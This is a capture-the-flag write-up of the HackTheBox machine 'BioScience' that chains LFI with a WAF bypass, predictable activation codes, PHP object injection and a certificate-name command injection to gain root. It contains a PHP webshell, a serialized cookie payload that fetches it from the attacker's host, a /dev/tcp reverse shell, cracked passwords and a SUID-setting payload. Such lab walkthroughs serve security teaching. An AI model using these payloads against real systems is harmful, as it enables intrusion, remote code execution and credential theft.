> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-bioscience.md).

# HTB - BioScience

Topics Covered: Directory Enumeration, Local File Inclusion (LFI), WAF Bypass, Source Code Disclosure, PHP Deserialization (Object Injection), Weak PRNG, PostgreSQL, Hash Cracking, Command Injection

## Enumeration and Foothold

```bash
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.54
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kerne
```

Add the host to `/etc/hosts`:

```
echo "10.129.228.129 broscience.htb" >> /etc/hosts
```

Visiting `https://broscience.htb` shows a fitness blog with posts authored by `administrator` and `bill`, and a **LOG IN** button in the top right.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F64VaqOLg9cIacyiqXhBp%2Fimage.png?alt=media&amp;token=4806cbd4-9867-4c86-a0dc-608852c58d99" alt=""><figcaption></figcaption></figure>

the page also displays several usernames

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkfOemL7S492wjMue8Zbs%2Fimage.png?alt=media&amp;token=c905bd14-7515-4e8c-b644-f0a47fe0c777" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FX4zcszaeM3bMlkvaXd9O%2Fimage.png?alt=media&amp;token=6ab8f4a4-4817-4015-96fd-e0865eb1cede" alt=""><figcaption></figcaption></figure>

Also there is a comment field when trying to post a comment it redirected to LogIn page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FudX1pQ3kKtxiLQ3IRMWm%2Fimage.png?alt=media&amp;token=8f8ecc8c-cc6e-45c4-91e9-f7210d895254" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJUlarsP6Scg8qLBiJ4VT%2Fimage.png?alt=media&amp;token=3bf702a8-613d-493d-9005-63310225164e" alt=""><figcaption></figcaption></figure>

the login page also has a link to create an account.

Also directory enumeration resulted in several directories.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbWICSRgsVUgQnkyhGrnc%2Fimage.png?alt=media&amp;token=ddf33004-fc37-4387-b1cd-37a976610b04" alt=""><figcaption></figcaption></figure>

there is an interesting includes directory visiting it directly reveals **directory listing is enabled**:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTj8fC0DixcKNj0zoyBau%2Fimage.png?alt=media&amp;token=330113e8-3f2b-4cd2-84d0-ae6222c238f2" alt=""><figcaption></figcaption></figure>

accessing img.php gives path error.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjIxEt7CBi43X6ns2p1Xx%2Fimage.png?alt=media&amp;token=9c90cc8b-56b1-4b8c-87ad-c7b0182f3af8" alt=""><figcaption></figcaption></figure>

An image-serving script that takes a path parameter is a classic Local File Inclusion (LFI) or path traversal candidate.

### Local File Inclusion

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FU5I4zMoybFL3HLEQZ8Qg%2Fimage.png?alt=media&amp;token=a33802c5-ab31-4ec7-9680-67ad38bd865b" alt=""><figcaption></figcaption></figure>

There is a WAF or filter detecting obvious traversal attempts.

The filter is pattern-matching on strings like `/etc/passwd` or `../`. The bypass: **double URL-encode the slashes** (`/` → `%2f` → `%252f`). The outer URL decode by Apache gives `%2f`, and PHP's internal processing then decodes it to `/`, slipping past the string-match filter.

#### LFI WAF Bypass

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfVOGSQieMvoOKb0mIkz9%2Fimage.png?alt=media&amp;token=506e9e63-42da-49b1-a237-f37f9003600e" alt=""><figcaption></figcaption></figure>

```powershell
https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd
```

Since the script uses `readfile()` to serve files rather than `include()`, it dumps raw file bytes without executing them. This means PHP source files can be read directly — no `php://filter` wrapper needed.

with this in hand i can read the db\_connect.php and utils.php, the path for db\_connect.php and utils is ../includes/{}.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1fOIE2mi7GxeO9oJCv23%2Fimage.png?alt=media&amp;token=345742a7-4f78-44f5-9d10-08e216a1055b" alt=""><figcaption></figcaption></figure>

```
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion777!";
$db_salt = "NaCl";
$db_conn = pg_connect(...);
?>
```

Key findings:

* Database: **PostgreSQL** on port 5432 (localhost only)
* Credentials: `dbuser` / `RangeOfMotion777!`
* Salt: `NaCl`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFcuBaY3uIHPVe4FkVJMy%2Fimage.png?alt=media&amp;token=77d72f54-5c91-4e63-be18-1fee3f0f7dbf" alt=""><figcaption></figcaption></figure>

Using the same technique, `utils.php` reveals two critical vulnerabilities.

`utils.php` contains this dangerous function:

```bash
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));  // <-- VULNERABLE
        return $up->theme;
    }
}
```

The `user-prefs` cookie is base64-decoded and passed directly to `unserialize()` without any validation. And there is a perfect gadget chain sitting in the same file:

```bash
class Avatar {
    public $imgPath;
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp)); // fetches URL or file
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);  // called automatically on unserialize!
    }
}
```

When PHP deserializes an `AvatarInterface` object, `__wakeup()` fires automatically. It creates an `Avatar`, then calls `save()` which:

1. Fetches whatever URL is in `$tmp` using `file_get_contents()`
2. Writes the result to whatever path is in `$imgPath`

That is **arbitrary remote file fetch + write to any path the web server can write to**  a textbook webshell upload primitive.

There is one catch: `get_theme()` only runs when `$_SESSION['id']` is set — meaning **you must be logged in** to trigger the deserialization. This is why account registration is needed next.

### Account Registration & PRNG Exploitation

The site has a registration form at `/register.php`. However, registered accounts require email activation before login works.

Looking at the activation code generation function from `utils.php`:

```bash
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());  // seeded with Unix timestamp (seconds only!)
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
```

This is a **weak PRNG vulnerability**. `srand(time())` seeds PHP's random number generator with only the current Unix timestamp. Since `time()` has 1-second resolution, anyone who knows roughly when an account was registered can reproduce the exact activation code locally.

**Step 1: Register an account** at `/register.php` and note the exact `Date:` header in Burp's response:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnUdMGo1jDLWKwnNd8dTU%2Fimage.png?alt=media&amp;token=63a3dedb-28e2-4768-a5e6-49f02e1cd761" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkgrXFbyQcBVSjPZZwH18%2Fimage.png?alt=media&amp;token=837493d8-4389-49b0-ae9e-d9f8831bcb22" alt=""><figcaption></figcaption></figure>

```
Date: Wed, 05 Aug 2026 02:40:52 GMT
```

Response came back with Date: Wed, 05 Aug 2026 02:40:52 GMT — this is the server's timestamp at the moment it generated our activation code.

**Step 2: Convert to Unix timestamp:**

```powershell
date -d "Wed, 05 Aug 2026 02:40:52 GMT" +%s
# → 1785897652
```

**Step 3: Replicate the PHP 7.4 PRNG**. This box runs Debian 11 with PHP 7.4  important because rand() internals differ between PHP versions. Use Docker to guarantee an exact match:

```powershell

#generate_codes.php
<?php
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$base_time = 1785897652;

for ($t = $base_time - 10; $t <= $base_time + 10; $t++) {
    srand($t);
    $code = "";
    for ($i = 0; $i < 32; $i++) {
        $code .= $chars[rand(0, strlen($chars) - 1)];
    }
    echo "$t,$code\n";
}
?>

```

```powershell
┌──(ajay㉿kali)-[~]
└─$ docker run --rm -v $(pwd):/app -w /app php:7.4-cli php generate_codes.php
1785897642,ix1urJXM5tIlz43VFa8jFPWHLvJqnFsa
1785897643,tednQFKHLpWYSk7GhFeqim8oLBya2PJN
1785897644,EK2zoZ547hOf0mZgQ86z0VvqDqvEN5sb
1785897645,UESuzjTA8lkXKJaVxayhEhU9lSxYG3Kd
1785897646,xVeQGv4lhvLvTs89JYY26VKle57W4diQ
1785897647,hOg6E7kNh4yEF4lfAe3sTHeYXfJTvhJN
1785897648,hIMdG0zRk9J9Sz8U2vwLgHZx1ILn4pFR
1785897649,yW2xNGstOywIADjCsOLmsluamdCKCeZr
1785897650,Qxo7iak3PpiCqgczPCEfKdakV5Sue2EV
1785897651,cLy9oliitAw6PsoiELRuVR7xHBLzdutb
1785897652,DspKksZvPdJOk8ExFRCgJMD5oNJ3OVz2
1785897653,oBXDV4LW4VpGzQVE0hDPIQ996tY1lV8s
1785897654,WXoorGfKsOaA2wdaguSpsoZO7kSObdk1
1785897655,wjThx06u7nqxW3NJfkHhhJ0aCxNKddMH
1785897656,Ot234TAsT395PBgSMYSTzxvHILc7Ya8S
1785897657,s9Xh5KthSaZ1C7pg15d7MYjfoRmLZlcc
1785897658,PahhuErKW3HKI3r8gAlHgjUyZYkk2l57
1785897659,hD1svckAPpNuAY9uGoImUhWVmq0PVN1b
1785897660,wXfl0LTA4u53BZqHnwd1ygW7lxag11Qs
1785897661,G8cNWGYPupzTOPFai5c20UuzMiTGexf8
1785897662,HEOJghQD5MitEzziP2P0923pAcY1CQyp
```

save the generated codes to codes.txt

**Step 4: Brute-force the activation endpoint:**

First confirm the failure message:

```
curl -sk "https://broscience.htb/activate.php?code=test"
# Returns: "Invalid activation code."
```

Then loop through candidates:

```bash
┌──(ajay㉿kali)-[~]
└─$ while IFS=',' read -r ts code; do curl -sk "https://broscience.htb/activate.php?code=$code" | grep -q "Invalid activation code" && echo "[-] $code" || echo "[+] HIT: $code"; done < codes.txt
[-] ix1urJXM5tIlz43VFa8jFPWHLvJqnFsa
[-] tednQFKHLpWYSk7GhFeqim8oLBya2PJN
[-] EK2zoZ547hOf0mZgQ86z0VvqDqvEN5sb
[-] UESuzjTA8lkXKJaVxayhEhU9lSxYG3Kd
[-] xVeQGv4lhvLvTs89JYY26VKle57W4diQ
[-] hOg6E7kNh4yEF4lfAe3sTHeYXfJTvhJN
[-] hIMdG0zRk9J9Sz8U2vwLgHZx1ILn4pFR
[-] yW2xNGstOywIADjCsOLmsluamdCKCeZr
[-] Qxo7iak3PpiCqgczPCEfKdakV5Sue2EV
[-] cLy9oliitAw6PsoiELRuVR7xHBLzdutb
[+] HIT: DspKksZvPdJOk8ExFRCgJMD5oNJ3OVz2
[-] oBXDV4LW4VpGzQVE0hDPIQ996tY1lV8s
[-] WXoorGfKsOaA2wdaguSpsoZO7kSObdk1
[-] wjThx06u7nqxW3NJfkHhhJ0aCxNKddMH
[-] Ot234TAsT395PBgSMYSTzxvHILc7Ya8S
[-] s9Xh5KthSaZ1C7pg15d7MYjfoRmLZlcc
[-] PahhuErKW3HKI3r8gAlHgjUyZYkk2l57
[-] hD1svckAPpNuAY9uGoImUhWVmq0PVN1b
[-] wXfl0LTA4u53BZqHnwd1ygW7lxag11Qs
[-] G8cNWGYPupzTOPFai5c20UuzMiTGexf8
[-] HEOJghQD5MitEzziP2P0923pAcY1CQyp
```

Result — hit on the exact base timestamp:

`[+] HIT: DspKksZvPdJOk8ExFRCgJMD5oNJ3OVz2`

Account activated. Login now works with the registered credentials.

Now that we can log in, `get_theme()` will run on every page load, deserialising our `user-prefs` cookie.

go to `https://broscience.htb/login.php` and log in with:

* Username: `ajay`
* Password: `ajay123`

Once logged in, the **PHP deserialisation exploit** from `utils.php` becomes live.

### PHP Object Injection

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnCGYhZDLUaKhDJAHcVv9%2Fimage.png?alt=media&amp;token=fa977a58-f38a-4b95-b7c8-d8fc573d8a06" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsqvbaQVc4652YtGs9Y0e%2Fimage.png?alt=media&amp;token=3700b896-2e8e-479e-a4ba-5d3a3dbfda65" alt=""><figcaption></figcaption></figure>

Now that we can log in, get\_theme() will run on every page load, deserialising our user-prefs cookie.

**Step 1: Start a web server on Kali to serve the webshell:**

```powershell
mkdir /tmp/www
echo '<?php system($_GET["cmd"]); ?>' > /tmp/www/shell.php
cd /tmp/www && python3 -m http.server 8888
```

**Step 2: Generate the malicious serialised cookie:**

```powershell
<?php
class AvatarInterface {
    public $tmp = "http://10.10.14.49:8888/shell.php";
    public $imgPath = "/var/www/html/shell.php";
}
$obj = new AvatarInterface();
echo base64_encode(serialize($obj)) . "\n";
?>
```

```powershell
                                                                                                                    
┌──(ajay㉿kali)-[~]
└─$ php gen_cookie.php 
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMzoiaHR0cDovLzEwLjEwLjE0LjQ5Ojg4ODgvc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MjM6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjt9
```

In Burp, send any authenticated request with your base64 blob as the user-prefs cookie — watch your Python server for the incoming fetch.

**Step 3: Send the payload in Burp.** With a logged-in session, send any GET request to the site and add/replace the cookie:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpHW5reckDJmnDmW5v1Po%2Fimage.png?alt=media&amp;token=cf6cde5c-5c51-4439-8f06-b4959f68b681" alt=""><figcaption></figcaption></figure>

Watch your Python HTTP server  you should see an incoming request for `shell.php` from the target IP.

**Step 4: Trigger RCE:**

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxBWzAgWIfGxZqMesP9k5%2Fimage.png?alt=media&amp;token=dfda357d-e5e7-4234-8331-8d5939aa062a" alt=""><figcaption></figcaption></figure>

## Shell as www-data

```powershell
curl -sk "https://broscience.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.49/4444+0>%261'"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7kN3fP9F2lhxiBjFGrZ5%2Fimage.png?alt=media&amp;token=4967a537-5234-4d22-88b1-84f0e755d47a" alt=""><figcaption></figcaption></figure>

Next step is to stabilise the shell.

```powershell
www-data@broscience:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ml$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@broscience:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@broscience:/var/www/html$ 
```

earlier we found database credentials we can use those for enumerating the postgres database.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fntvbo3RmpnMiV9bV5LiE%2Fimage.png?alt=media&amp;token=7e5012b4-bd19-4fda-9ce1-d9c0279a60ff" alt=""><figcaption></figcaption></figure>

```
SELECT * FROM users;
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWE3g0vUqtVElCb2aTMxG%2Fimage.png?alt=media&amp;token=bb0931fb-9690-4e98-acb6-80a82a6afd55" alt=""><figcaption></figcaption></figure>

we can use hashcat to crack the hashes.

```powershell
──(ajay㉿kali)-[~]
└─$ cat > /tmp/hashes.txt << 'EOF'
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl
EOF
```

```powershell
┌──(ajay㉿kali)-[~]
└─$ hashcat -m 20 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --force
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqLcdWm0oHdHTxdvoVZhk%2Fimage.png?alt=media&amp;token=79a5494d-6250-4cda-a55a-d22e99dd26eb" alt=""><figcaption></figcaption></figure>

```powershell
13edad4932da9dbb57d9cd15b66ed104:bill:iluvhorsesandgym    
5d15340bded5b9395d5d14b9c21bc82b:dymtro:Aaronthehottest     
bd3dad50e2d578ecba87d5fa15ca5f85:micheal:2applesplus2apples
```

## Shell as Bill

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6HUeeWy03stFHR0CLjwG%2Fimage.png?alt=media&amp;token=a88fc045-6fd2-4761-9205-b5da41936ebb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5ovTZtMpJ5VlVkCiObz4%2Fimage.png?alt=media&amp;token=bf988bf5-2916-4cf4-ace9-3d6da3a59290" alt=""><figcaption></figcaption></figure>

that say i am gonna get a stable shell using ssh

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2AlrcqjtfD2DjQcWz9pg%2Fimage.png?alt=media&amp;token=261fe85b-74c7-4c4a-846b-c88fa7ad19b6" alt=""><figcaption></figcaption></figure>

### Privilege Escalation via Certificate CN Injection

To check for running services and processes i have transferred pspy64 monitor to the machine.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fyk8TP976q2v77FVjQTBH%2Fimage.png?alt=media&amp;token=5ec4f539-b4d0-4391-ae16-8f24d99e1386" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9YUvJV9obBsUfi512Yu3%2Fimage.png?alt=media&amp;token=92b73087-09d8-4e89-81c3-c69c563c911c" alt=""><figcaption></figcaption></figure>

Every minute, root executes:

```
UID=0  /bin/bash /root/cron.sh
UID=0  timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
```

Root is processing a certificate file inside **bill's home directory** you control that file.

**Read `/opt/renew_cert.sh`** to understand how it processes the cert:

```powershell
bill@broscience:~$ cat /opt/renew_cert.sh
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
fibill@broscience:~$ 

```

The key vulnerability is at the end of the script:

```
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
# ...
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
```

The `$commonName` variable (extracted from the certificate's CN field) is **interpolated directly into a `bash -c` string without sanitization**. If the CN contains `$(...)`, bash will execute it as a command substitution.

The script only proceeds if the cert is about to expire, checked with:

```
openssl x509 -in $1 -noout -checkend 86400
```

#### Craft a malicious certificate:

Create an OpenSSL config file with the payload in the CN field (the `\$` backslash-escape is needed to prevent OpenSSL's config parser from treating `$(` as a variable reference, while bash still executes it when the `bash -c` string is evaluated):

```powershell
bill@broscience:~/Certs$ cat > /tmp/req.conf << 'EOF'
[req]
distinguished_name = req_distinguished_name
prompt = no

[req_distinguished_name]
C = US
ST = NY
L = NY
O = Bro
OU = Sci
CN = \$(chmod u+s /bin/bash)
EOF
```

Generate the cert:

```powershell
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout ~/Certs/broscience.key -out ~/Certs/broscience.crt -days 1 -config /tmp/req.conf
Generating a RSA private key
.......................................................................++++
..........................++++
writing new private key to '/home/bill/Certs/broscience.key'
-----
```

Verify the CN looks right and the cert triggers the expiry check:

```powershell
bill@broscience:~/Certs$ ls -la
total 16
drwxr-xr-x  2 bill bill 4096 Aug  4 23:37 .
drwxr-xr-x 16 bill bill 4096 Aug  4 23:24 ..
-rw-r--r--  1 bill bill 1919 Aug  4 23:37 broscience.crt
-rw-------  1 bill bill 3272 Aug  4 23:37 broscience.key
```

```powershell
bill@broscience:~/Certs$ openssl x509 -in ~/Certs/broscience.crt -noout -checkend 86400; echo "Exit: $?"
Certificate will expire
Exit: 1
```

Exit code 1 means the script will proceed past the expiry check and reach the vulnerable `bash -c` line.

Wait fro 60 seconds and the code will execute and set a suid bit on /bin/bash.

```powershell
bill@broscience:~/Certs$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
bill@broscience:~/Certs$ 
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnZ5RRKhVAC6TmAJA2AWe%2Fimage.png?alt=media&amp;token=65fea20f-d842-4d6f-988a-53fdfcd54c28" alt=""><figcaption></figcaption></figure>

### Key Takeaways

* **Double URL-encoding** is a reliable bypass for naive string-matching WAFs that only decode once.
* **`srand(time())`** makes PHP's PRNG completely predictable — always use `random_bytes()` for security-sensitive tokens.
* **`unserialize()` on user input** is nearly always exploitable if there are gadget classes available; use JSON instead.
* **Cron scripts that process user-controlled files** with shell variable interpolation are prime command injection targets.
* **Unquoted shell variables** inside `bash -c` strings are dangerous when they can contain characters like `$`, `;`, or backticks.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-bioscience.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
